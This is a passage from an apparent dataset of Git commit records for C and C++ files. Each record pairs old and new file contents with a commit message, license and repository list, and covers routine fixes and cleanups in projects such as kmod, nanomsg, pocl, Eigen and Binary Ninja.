override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n};\n","new_contents":"#pragma once\n\n#include <QtGui\/QMouseEvent>\n#include <QtGui\/QPaintEvent>\n#include <QtWidgets\/QWidget>\n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyContainer;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\tQ_INTERFACES(DockContextHandler)\n\n\tViewFrame* m_frame;\n\tBinaryViewRef m_data;\n\tDisassemblyContainer* m_disassemblyContainer;\n\npublic:\n\tReflectionView(ViewFrame* frame, BinaryViewRef data);\n\t~ReflectionView();\n\n\tvirtual void notifyViewLocationChanged(View* view, const ViewLocation& viewLocation) override;\n\tvirtual void notifyVisibilityChanged(bool visible) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n};\n","subject":"Update reflection view to use view location notification.","message":"Update reflection view to use view location notification.\n","lang":"C","license":"mit","repos":"joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api"}
{"commit":"f5cdd574a531ed156d30efe2e06c4cf463469588","old_file":"libkmod\/missing.h","new_file":"libkmod\/missing.h","old_contents":"#pragma once\n\n#include <unistd.h>\n#include <sys\/syscall.h>\n\n#ifdef HAVE_LINUX_MODULE_H\n#include <linux\/module.h>\n#endif\n\n#ifndef MODULE_INIT_IGNORE_MODVERSIONS\n# define MODULE_INIT_IGNORE_MODVERSIONS 1\n#endif\n\n#ifndef MODULE_INIT_IGNORE_VERMAGIC\n# define MODULE_INIT_IGNORE_VERMAGIC 2\n#endif\n\n#ifndef __NR_finit_module\n# define __NR_finit_module -1\n#endif\n\n#ifndef HAVE_FINIT_MODULE\n#include <errno.h>\n\nstatic inline int finit_module(int fd, const char *uargs, int flags)\n{\n\tif (__NR_finit_module == -1) {\n\t\terrno = ENOSYS;\n\t\treturn -1;\n\t}\n\n\treturn syscall(__NR_finit_module, fd, uargs, flags);\n}\n#endif\n\n#if !HAVE_DECL_STRNDUPA\n#define strndupa(s, length) \\\n\t({ \\\n\t\tsize_t __len = strnlen((s), (length)); \\\n\t\tstrncpy(alloca(__len + 1), (s), __len);  \\\n\t })\n#endif\n","new_contents":"#pragma once\n\n#include <unistd.h>\n#include <sys\/syscall.h>\n\n#ifdef HAVE_LINUX_MODULE_H\n#include <linux\/module.h>\n#endif\n\n#ifndef MODULE_INIT_IGNORE_MODVERSIONS\n# define MODULE_INIT_IGNORE_MODVERSIONS 1\n#endif\n\n#ifndef MODULE_INIT_IGNORE_VERMAGIC\n# define MODULE_INIT_IGNORE_VERMAGIC 2\n#endif\n\n#ifndef __NR_finit_module\n# define __NR_finit_module -1\n#endif\n\n#ifndef HAVE_FINIT_MODULE\n#include <errno.h>\n\nstatic inline int finit_module(int fd, const char *uargs, int flags)\n{\n\tif (__NR_finit_module == -1) {\n\t\terrno = ENOSYS;\n\t\treturn -1;\n\t}\n\n\treturn syscall(__NR_finit_module, fd, uargs, flags);\n}\n#endif\n\n#if !HAVE_DECL_STRNDUPA\n#define strndupa(s, n)\t\t\t\t\t\t\t\\\n\t({\t\t\t\t\t\t\t\t\\\n\t\tconst char *__old = (s);\t\t\t\t\\\n\t\tsize_t __len = strnlen(__old, (n));\t\t\t\\\n\t\tchar *__new = alloca(__len + 1);\t\t\t\\\n\t\t__new[__len] = '\\0';\t\t\t\t\t\\\n\t\tmemcpy(__new, __old, __len);\t\t\t\t\\\n\t })\n#endif\n","subject":"Make sure there's NUL byte at the end of strndupa","message":"Make sure there's NUL byte at the end of strndupa\n\nSince strcpy() doesn't ensure we have a NUL byte in the resulting\nstring, use alloca() + memcpy(). Also make sure we don't evaluate \"s\"\ntwice.\n","lang":"C","license":"lgpl-2.1","repos":"pmmccorm\/kmod,lpereira\/kmod,Distrotech\/kmod,pmmccorm\/kmod,pmmccorm\/kmod,lucasdemarchi\/kmod,lpereira\/kmod,Distrotech\/kmod,lucasdemarchi\/kmod,Distrotech\/kmod,lpereira\/kmod,lucasdemarchi\/kmod"}
{"commit":"d1655ea772cb9f0c6ecad7a4523629ea4c6ce560","old_file":"platform\/FEATURE_EXPERIMENTAL_API\/FEATURE_PSA\/TARGET_MBED_PSA_SRV\/val\/val_client_defs.h","new_file":"platform\/FEATURE_EXPERIMENTAL_API\/FEATURE_PSA\/TARGET_MBED_PSA_SRV\/val\/val_client_defs.h","old_contents":"\/** @file\n * Copyright (c) 2018-2019, Arm Limited or its affiliates. All rights reserved.\n * SPDX-License-Identifier : Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n**\/\n\n#ifndef _VAL_CLIENT_H_\n#define _VAL_CLIENT_H_\n\n#include \"val.h\"\n#include \"psa\/client.h\"\n#include \"crypto_values.h\"\n\n#define INVALID_SID                     0x0000FA20\n\n#ifndef CLIENT_TEST_DISPATCHER_SID\n#define CLIENT_TEST_DISPATCHER_SID      0x0\n#endif\n\n#ifndef SERVER_TEST_DISPATCHER_SID\n#define SERVER_TEST_DISPATCHER_SID      0x0\n#endif\n#endif \/* _VAL_CLIENT_H_ *\/\n","new_contents":"\/** @file\n * Copyright (c) 2018-2019, Arm Limited or its affiliates. All rights reserved.\n * SPDX-License-Identifier : Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n**\/\n\n#ifndef _VAL_CLIENT_H_\n#define _VAL_CLIENT_H_\n\n#include \"val.h\"\n#include \"psa\/client.h\"\n#include \"psa\/crypto_types.h\"\n#include \"psa\/crypto_values.h\"\n\n#define INVALID_SID                     0x0000FA20\n\n#ifndef CLIENT_TEST_DISPATCHER_SID\n#define CLIENT_TEST_DISPATCHER_SID      0x0\n#endif\n\n#ifndef SERVER_TEST_DISPATCHER_SID\n#define SERVER_TEST_DISPATCHER_SID      0x0\n#endif\n#endif \/* _VAL_CLIENT_H_ *\/\n","subject":"Add missing inclusion of crypto_types.h","message":"psa: Add missing inclusion of crypto_types.h\n\nval_client_defs.h includes crypto_values.h, but the latter requires\ntype definitions from crypto_types.h.\n","lang":"C","license":"apache-2.0","repos":"mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed"}
{"commit":"3964e5efebb9168526a9b098874177a68ec8e704","old_file":"scaffolding.10.c","new_file":"scaffolding.10.c","old_contents":"","new_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disableRawMode() {\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enableRawMode() {\n  tcgetattr(STDIN_FILENO, &orig_termios);\n  atexit(disableRawMode);\n\n  struct termios raw = orig_termios;\n  raw.c_lflag &= ~(ECHO | ICANON);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c != 'q') {\n    if (iscntrl(c)) {\n      printf(\"%d\\n\", c);\n    } else {\n      printf(\"%d ('%c')\\n\", c, c);\n    }\n  }\n\n  return 0;\n}\n","subject":"Include a Ruten code, demonstrating keystroke reading","message":"Include a Ruten code, demonstrating keystroke reading\n","lang":"C","license":"bsd-2-clause","repos":"eingaeph\/pip.imbue.hood,eingaeph\/pip.imbue.hood"}
{"commit":"e1d9f7f6473476c9da658edefe08fa0f9b3b4a50","old_file":"include\/rapidcheck\/shrinkable\/Transform.h","new_file":"include\/rapidcheck\/shrinkable\/Transform.h","old_contents":"#pragma once\n\n#include \"rapidcheck\/Shrinkable.h\"\n\nnamespace rc {\nnamespace shrinkable {\n\n\/\/! Maps the given shrinkable using the given mapping callable.\ntemplate<typename T, typename Mapper>\nShrinkable<typename std::result_of<Mapper(T)>::type>\nmap(Mapper &&mapper, Shrinkable<T> shrinkable);\n\n\/\/! Returns a shrinkable equal to the given shrinkable but with the shrinks\n\/\/! (lazily) mapped by the given mapping callable. Since the value is not mapped\n\/\/! also the output type is the same as the output type.\ntemplate<typename T, typename Mapper>\nShrinkable<T> mapShrinks(Mapper &&mapper, Shrinkable<T> shrinkable);\n\n\/\/! Recursively filters the given shrinkable using the given predicate. Any\n\/\/! subtree with a root for which the predicate returns false is discarded,\n\/\/! including the passed in root which is why this function returns a `Maybe`.\ntemplate<typename T, typename Predicate>\nMaybe<Shrinkable<T>> filter(Predicate pred, Shrinkable<T> shrinkable);\n\n\/\/! Given two `Shrinkables`, returns a `Shrinkable` pair that first shrinks the\n\/\/! first element and then the second.\ntemplate<typename T1, typename T2>\nShrinkable<std::pair<T1, T2>> pair(Shrinkable<T1> s1, Shrinkable<T2> s2);\n\n} \/\/ namespace shrinkable\n} \/\/ namespace rc\n\n#include \"Transform.hpp\"\n","new_contents":"#pragma once\n\n#include \"rapidcheck\/Shrinkable.h\"\n\nnamespace rc {\nnamespace shrinkable {\n\n\/\/! Maps the given shrinkable recursively using the given mapping callable.\ntemplate<typename T, typename Mapper>\nShrinkable<typename std::result_of<Mapper(T)>::type>\nmap(Mapper &&mapper, Shrinkable<T> shrinkable);\n\n\/\/! Returns a shrinkable equal to the given shrinkable but with the shrinks\n\/\/! (lazily) mapped by the given mapping callable. Since the value is not mapped\n\/\/! also the output type is the same as the output type.\ntemplate<typename T, typename Mapper>\nShrinkable<T> mapShrinks(Mapper &&mapper, Shrinkable<T> shrinkable);\n\n\/\/! Recursively filters the given shrinkable using the given predicate. Any\n\/\/! subtree with a root for which the predicate returns false is discarded,\n\/\/! including the passed in root which is why this function returns a `Maybe`.\ntemplate<typename T, typename Predicate>\nMaybe<Shrinkable<T>> filter(Predicate pred, Shrinkable<T> shrinkable);\n\n\/\/! Given two `Shrinkables`, returns a `Shrinkable` pair that first shrinks the\n\/\/! first element and then the second.\ntemplate<typename T1, typename T2>\nShrinkable<std::pair<T1, T2>> pair(Shrinkable<T1> s1, Shrinkable<T2> s2);\n\n} \/\/ namespace shrinkable\n} \/\/ namespace rc\n\n#include \"Transform.hpp\"\n","subject":"Clarify doc comment about shrinkable::map","message":"Clarify doc comment about shrinkable::map\n","lang":"C","license":"bsd-2-clause","repos":"whoshuu\/rapidcheck,tm604\/rapidcheck,whoshuu\/rapidcheck,emil-e\/rapidcheck,unapiedra\/rapidfuzz,whoshuu\/rapidcheck,unapiedra\/rapidfuzz,tm604\/rapidcheck,tm604\/rapidcheck,emil-e\/rapidcheck,emil-e\/rapidcheck,unapiedra\/rapidfuzz"}
{"commit":"0f6dd291a29fd99765469485ddea93c0c2b927d6","old_file":"src\/utils\/cont.h","new_file":"src\/utils\/cont.h","old_contents":"\/*\n    Copyright (c) 2012 250bpm s.r.o.\n\n    Permission is hereby granted, free of charge, to any person obtaining a copy\n    of this software and associated documentation files (the \"Software\"),\n    to deal in the Software without restriction, including without limitation\n    the rights to use, copy, modify, merge, publish, distribute, sublicense,\n    and\/or sell copies of the Software, and to permit persons to whom\n    the Software is furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included\n    in all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n    IN THE SOFTWARE.\n*\/\n\n#ifndef SP_CONT_INCLUDED\n#define SP_CONT_INCLUDED\n\n\/*  Takes a pointer to a member variable and computes pointer to the structure\n    that contains it. 'type' is type of the structure, not the member. *\/\n#define sp_cont(ptr, type, member) \\\n    ((type*) (((char*) ptr) - ((size_t) &(((type*) 0)->member))))\n\n#endif\n","new_contents":"\/*\n    Copyright (c) 2012 250bpm s.r.o.\n\n    Permission is hereby granted, free of charge, to any person obtaining a copy\n    of this software and associated documentation files (the \"Software\"),\n    to deal in the Software without restriction, including without limitation\n    the rights to use, copy, modify, merge, publish, distribute, sublicense,\n    and\/or sell copies of the Software, and to permit persons to whom\n    the Software is furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included\n    in all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n    IN THE SOFTWARE.\n*\/\n\n#ifndef SP_CONT_INCLUDED\n#define SP_CONT_INCLUDED\n\n#include <stddef.h>\n\n\/*  Takes a pointer to a member variable and computes pointer to the structure\n    that contains it. 'type' is type of the structure, not the member. *\/\n#define sp_cont(ptr, type, member) \\\n    ((type*) (((char*) ptr) - offsetof(type, member)))\n\n#endif\n","subject":"Use offsetof() macro instead of expanded form.","message":"Use offsetof() macro instead of expanded form.\n\nSigned-off-by: Martin Sustrik <4dd6061be1198639e8b05ce4fd5ead7a0dcaa0f4@250bpm.com>\n","lang":"C","license":"mit","repos":"pakozm\/nanomsg,modulexcite\/nanomsg,kaostao\/nanomsg,reqshark\/nanomsg,potatogim\/nanomsg,krafczyk\/nanomsg,modulexcite\/nanomsg,JackDunaway\/featherweight-nanomsg,cosin2008\/nanomsg.NET,zerotacg\/nanomsg,yan97ao\/nanomsg,pch957\/nanomsg,smithed\/nanomsg,snikulov\/nanomsg,gdamore\/mamomsg,imp\/nanomsg,tempbottle\/nanomsg,pch957\/nanomsg,wirebirdlabs\/featherweight-nanomsg,JackDunaway\/featherweight-nanomsg,wfxiang08\/nanomsg,gdamore\/mamomsg,simplestbest\/nanomsg,potatogim\/nanomsg,cosin2008\/nanomsg.NET,nirs\/nanomsg,wirebirdlabs\/featherweight-nanomsg,featherweight\/ftw-kernel-nanomsg,smithed\/nanomsg,thisco-de\/nanomsg,krafczyk\/nanomsg,smithed\/nanomsg,ttyangf\/nanomsg,TTimo\/nanomsg,TTimo\/nanomsg,wirebirdlabs\/featherweight-nanomsg,simplestbest\/nanomsg,hyperfact\/nanomsg,potatogim\/nanomsg,tempbottle\/nanomsg,zerotacg\/nanomsg,kaostao\/nanomsg,thisco-de\/nanomsg,kaostao\/nanomsg,modulexcite\/nanomsg,linearregression\/nanomsg,smithed\/nanomsg,reqshark\/nanomsg,ttyangf\/nanomsg,hyperfact\/nanomsg,pakozm\/nanomsg,pakozm\/nanomsg,pch957\/nanomsg,wfxiang08\/nanomsg,kaostao\/nanomsg,zerotacg\/nanomsg,yan97ao\/nanomsg,linearregression\/nanomsg,TTimo\/nanomsg,tempbottle\/nanomsg,yan97ao\/nanomsg,featherweight\/ftw-kernel-nanomsg,ttyangf\/nanomsg,reqshark\/nanomsg,TTimo\/nanomsg,JackDunaway\/featherweight-nanomsg,linearregression\/nanomsg,gdamore\/mamomsg,nirs\/nanomsg,simplestbest\/nanomsg,nirs\/nanomsg,wfxiang08\/nanomsg,imp\/nanomsg,cosin2008\/nanomsg.NET,ttyangf\/nanomsg,snikulov\/nanomsg,hyperfact\/nanomsg,imp\/nanomsg,krafczyk\/nanomsg"}
{"commit":"f4a3cffb0a988313acdb83a6d658001c8c06e07b","old_file":"src\/lib\/MSPUBConstants.h","new_file":"src\/lib\/MSPUBConstants.h","old_contents":"namespace libmspub\n{\nconst unsigned EMUS_IN_INCH = 914400;\n}\n","new_contents":"\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/* libmspub\n * Version: MPL 1.1 \/ GPLv2+ \/ LGPLv2+\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License or as specified alternatively below. You may obtain a copy of\n * the License at http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * Major Contributor(s):\n * Copyright (C) 2012 Brennan Vincent <brennanv@email.arizona.edu>\n *\n * All Rights Reserved.\n *\n * For minor contributions see the git repository.\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPLv2+\"), or\n * the GNU Lesser General Public License Version 2 or later (the \"LGPLv2+\"),\n * in which case the provisions of the GPLv2+ or the LGPLv2+ are applicable\n * instead of those above.\n *\/\n\n#ifndef __MSPUBCONSTANTS_H__\n#define __MSPUBCONSTANTS_H__\n\nnamespace libmspub\n{\nconst unsigned EMUS_IN_INCH = 914400;\n}\n\n#endif \/* __MSPUBCONSTANTS_H__ *\/\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n","subject":"Add license header to the file","message":"Add license header to the file\n","lang":"C","license":"mpl-2.0","repos":"LibreOffice\/libmspub,LibreOffice\/libmspub,LibreOffice\/libmspub"}
{"commit":"8106c20e81cb296b15da59763639b9dfe33752e8","old_file":"sys\/mips\/include\/pltfm.h","new_file":"sys\/mips\/include\/pltfm.h","old_contents":"\/*-\n *\tJNPR: pltfm.h,v 1.5.2.1 2007\/09\/10 05:56:11 girish\n * $FreeBSD$\n *\/\n\n#ifndef _MACHINE_PLTFM_H_\n#define\t_MACHINE_PLTFM_H_\n\n\/*\n * This files contains platform-specific definitions.\n *\/\n#define\tSDRAM_ADDR_START\t0 \/* SDRAM addr space *\/\n#define\tSDRAM_ADDR_END\t\t(SDRAM_ADDR_START + (1024*0x100000))\n#define\tSDRAM_MEM_SIZE\t\t(SDRAM_ADDR_END - SDRAM_ADDR_START)\n\n#define\tUART_ADDR_START\t\t0x1ef14000\t\/* UART *\/\n#define\tUART_ADDR_END\t\t0x1ef14fff\n#define\tUART_MEM_SIZE\t\t(UART_ADDR_END-UART_ADDR_START)\n\n\/*\n * NS16550 UART address\n *\/\n#ifdef ADDR_NS16550_UART1\n#undef ADDR_NS16550_UART1\n#endif\n#define\tADDR_NS16550_UART1\t0x1ef14000\t\/* UART *\/\n#define\tVADDR_NS16550_UART1\t0xbef14000\t\/* UART *\/\n\n#endif \/* !_MACHINE_PLTFM_H_ *\/\n","new_contents":"\/*-\n *\tJNPR: pltfm.h,v 1.5.2.1 2007\/09\/10 05:56:11 girish\n * $FreeBSD$\n *\/\n\n#ifndef _MACHINE_PLTFM_H_\n#define\t_MACHINE_PLTFM_H_\n\n\/*\n * This files contains platform-specific definitions.\n *\/\n#define\tSDRAM_ADDR_START\t0 \/* SDRAM addr space *\/\n#define\tSDRAM_ADDR_END\t\t(SDRAM_ADDR_START + (1024*0x100000))\n#define\tSDRAM_MEM_SIZE\t\t(SDRAM_ADDR_END - SDRAM_ADDR_START)\n\n#endif \/* !_MACHINE_PLTFM_H_ *\/\n","subject":"Trim unreferenced goo. SDRAM likely should be next, but it is still referenced.","message":"Trim unreferenced goo.  SDRAM likely should be next, but it is still\nreferenced.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"64c2495f3b46fc3bd623a7c1b534ffb7e58c7647","old_file":"lib\/CL\/clIcdGetPlatformIDsKHR.c","new_file":"lib\/CL\/clIcdGetPlatformIDsKHR.c","old_contents":"#include <assert.h>\n#include <string.h>\n#include \"pocl_cl.h\"\n\n\/*\n * Provide the ICD loader the specified function to get the pocl platform.\n * \n * TODO: the functionality of this seems the same as that of clGetPlatformIDs.\n * but we cannot call that, as it is defined in the ICD loader itself.\n * \n *\/ \nextern struct _cl_platform_id _platforms[1];\n\nCL_API_ENTRY cl_int CL_API_CALL\nclIcdGetPlatformIDsKHR(cl_uint           num_entries,\n                       cl_platform_id *  platforms,\n                       cl_uint *         num_platforms) CL_API_SUFFIX__VERSION_1_0\n{\t\n  int const num = 1;\n  int i;\n  \n  if (platforms != NULL) {\n    if (num_entries < num)\n      return CL_INVALID_VALUE;\n    \n    for (i=0; i<num; ++i)\n      platforms[i] = &_platforms[i];\n  }\n  \n  if (num_platforms != NULL)\n    *num_platforms = num;\n  \n  return CL_SUCCESS;\n}\n","new_contents":"#include <assert.h>\n#include <string.h>\n#include \"pocl_cl.h\"\n\n\/*\n * GetPlatformIDs that support ICD.\n * This function is required by the ICD specification.\n *\/ \nextern struct _cl_platform_id _platforms[1];\n\nCL_API_ENTRY cl_int CL_API_CALL\nclIcdGetPlatformIDsKHR(cl_uint           num_entries,\n                       cl_platform_id *  platforms,\n                       cl_uint *         num_platforms) CL_API_SUFFIX__VERSION_1_0\n{\t\n  return clGetPlatformIDs( num_entries, platforms, num_platforms );\n}\n","subject":"Fix nonsense comment + remove duplicate code.","message":"Fix nonsense comment + remove duplicate code.\n","lang":"C","license":"mit","repos":"vkorhonen\/pocl,vkorhonen\/pocl,0charleschen0\/pocl,pocl\/pocl,pocl\/pocl,rjodin\/pocl,0charleschen0\/pocl,maZZZu\/pocl,jrprice\/pocl,pavanky\/pocl,Oblomov\/pocl,sting47\/pocl,rjodin\/pocl,Oblomov\/pocl,dsandersimgtec\/pocl,Oblomov\/pocl,hugwijst\/pocl,dsandersimgtec\/pocl,sting47\/pocl,jrprice\/pocl,pocl\/pocl,jrprice\/pocl,franz\/pocl,pavanky\/pocl,pavanky\/pocl,rjodin\/pocl,pavanky\/pocl,sting47\/pocl,hugwijst\/pocl,hugwijst\/pocl,dsandersimgtec\/pocl,pocl\/pocl,Oblomov\/pocl,vkorhonen\/pocl,maZZZu\/pocl,sting47\/pocl,sting47\/pocl,0charleschen0\/pocl,hugwijst\/pocl,rjodin\/pocl,maZZZu\/pocl,pocl\/pocl,maZZZu\/pocl,franz\/pocl,0charleschen0\/pocl,vkorhonen\/pocl,hugwijst\/pocl,dsandersimgtec\/pocl,jrprice\/pocl,franz\/pocl,Oblomov\/pocl,franz\/pocl,franz\/pocl"}
{"commit":"ebbbce3163cf277b8ece31f69f59c24545d58f86","old_file":"src\/win32\/log_win.c","new_file":"src\/win32\/log_win.c","old_contents":"","new_contents":"\/*\n*The MIT License (MIT)\n*\n* Copyright (c) <2017> <Stephan Gatzka>\n*\n* Permission is hereby granted, free of charge, to any person obtaining\n* a copy of this software and associated documentation files (the\n* \"Software\"), to deal in the Software without restriction, including\n* without limitation the rights to use, copy, modify, merge, publish,\n* distribute, sublicense, and\/or sell copies of the Software, and to\n* permit persons to whom the Software is furnished to do so, subject to\n* the following conditions:\n*\n* The above copyright notice and this permission notice shall be\n* included in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n* SOFTWARE.\n*\/\n\n#include <stdarg.h>\n#include <stdio.h>\n\n#include \"log.h\"\n\nstatic char log_buffer[200];\n\nvoid log_err(const char *format, ...)\n{\n\tva_list args;\n\tva_start(args, format);\n\tvsnprintf(log_buffer, sizeof(log_buffer), format, args);\n\tprintf(\"%s: %s\", \"Error\", log_buffer);\n\tva_end(args);\n}\n\nvoid log_warn(const char *format, ...)\n{\n\tva_list args;\n\tva_start(args, format);\n\tvsnprintf(log_buffer, sizeof(log_buffer), format, args);\n\tprintf(\"%s: %s\", \"Warning\", log_buffer);\n\tva_end(args);\n}\n\nvoid log_info(const char *format, ...)\n{\n\tva_list args;\n\tva_start(args, format);\n\tvsnprintf(log_buffer, sizeof(log_buffer), format, args);\n\tprintf(\"%s: %s\", \"Info\", log_buffer);\tva_end(args);\n}","subject":"Add log functions for windows.","message":"Add log functions for windows.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet"}
{"commit":"432db2cd6dd47eebf95e358af96c3c08962b57f6","old_file":"Eigen\/src\/Core\/util\/ReenableStupidWarnings.h","new_file":"Eigen\/src\/Core\/util\/ReenableStupidWarnings.h","old_contents":"#ifdef EIGEN_WARNINGS_DISABLED\n#undef EIGEN_WARNINGS_DISABLED\n\n#ifndef EIGEN_PERMANENTLY_DISABLE_STUPID_WARNINGS\n  #ifdef _MSC_VER\n    #pragma warning( pop )\n  #elif defined __INTEL_COMPILER\n    #pragma warning pop\n  #elif defined __clang__\n    #pragma clang diagnostic pop\n  #elif defined __NVCC__\n    #pragma diag_warning code_is_unreachable\n    #pragma diag_warning initialization_not_reachable\n  #endif\n#endif\n\n#endif \/\/ EIGEN_WARNINGS_DISABLED\n","new_contents":"#ifdef EIGEN_WARNINGS_DISABLED\n#undef EIGEN_WARNINGS_DISABLED\n\n#ifndef EIGEN_PERMANENTLY_DISABLE_STUPID_WARNINGS\n  #ifdef _MSC_VER\n    #pragma warning( pop )\n  #elif defined __INTEL_COMPILER\n    #pragma warning pop\n  #elif defined __clang__\n    #pragma clang diagnostic pop\n  #elif defined __NVCC__\n    #pragma diag_default code_is_unreachable\n    #pragma diag_default initialization_not_reachable\n  #endif\n#endif\n\n#endif \/\/ EIGEN_WARNINGS_DISABLED\n","subject":"Revert the nvcc messages to their default severity instead of the forcing them to be warnings","message":"Revert the nvcc messages to their default severity instead of the forcing them to be warnings\n","lang":"C","license":"bsd-3-clause","repos":"ROCmSoftwarePlatform\/hipeigen,ritsu1228\/eigen,pasuka\/eigen,ROCmSoftwarePlatform\/hipeigen,pasuka\/eigen,pasuka\/eigen,ROCmSoftwarePlatform\/hipeigen,ritsu1228\/eigen,ROCmSoftwarePlatform\/hipeigen,ritsu1228\/eigen,ritsu1228\/eigen,pasuka\/eigen,ritsu1228\/eigen,pasuka\/eigen"}
{"commit":"a3270e718aa0c5dd341968b80324ae6d09a52467","old_file":"src\/luaint\/gen.h","new_file":"src\/luaint\/gen.h","old_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio and Hazza Alkaabi\n * All rights reserved.\n *\/\n#pragma once\n\n#include <string>\n#include <vector>\n#include \"..\/gen\/terrain.h\"\n\n#include \"common.h\"\n\nextern \"C\"\n{\n  #include \"lua.h\"\n}\nnamespace game { namespace luaint\n{\n  struct Terrain_Gen_Config\n  {\n    void add_option(std::string const& name, double def) noexcept;\n  private:\n    enum class Option_Type\n    {\n      Double\n    };\n    struct Option\n    {\n      std::string name;\n      Option_Type type;\n      union\n      {\n        double d_num;\n      } value;\n    };\n    std::vector<Option> options_;\n  };\n\n  struct Terrain_Gen_Mod\n  {\n    \/\/ Index into registry[naeme] where naeme is some implementation (?)\n    \/\/ defined string.\n    size_t table_index;\n    Terrain_Gen_Config config;\n  };\n  using Terrain_Gen_Mod_Vector = std::vector<Terrain_Gen_Mod>;\n\n  \/\/ Use this to initialize a table to return from a lua require call.\n  Table terrain_preload_table(Terrain_Gen_Mod_Vector&) noexcept;\n\n  \/\/ Use this to push a grid\n  void push_grid_table(lua_State*, gen::Grid_Map&) noexcept;\n} }\n","new_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio and Hazza Alkaabi\n * All rights reserved.\n *\/\n#pragma once\n\n#include <string>\n#include <vector>\n#include 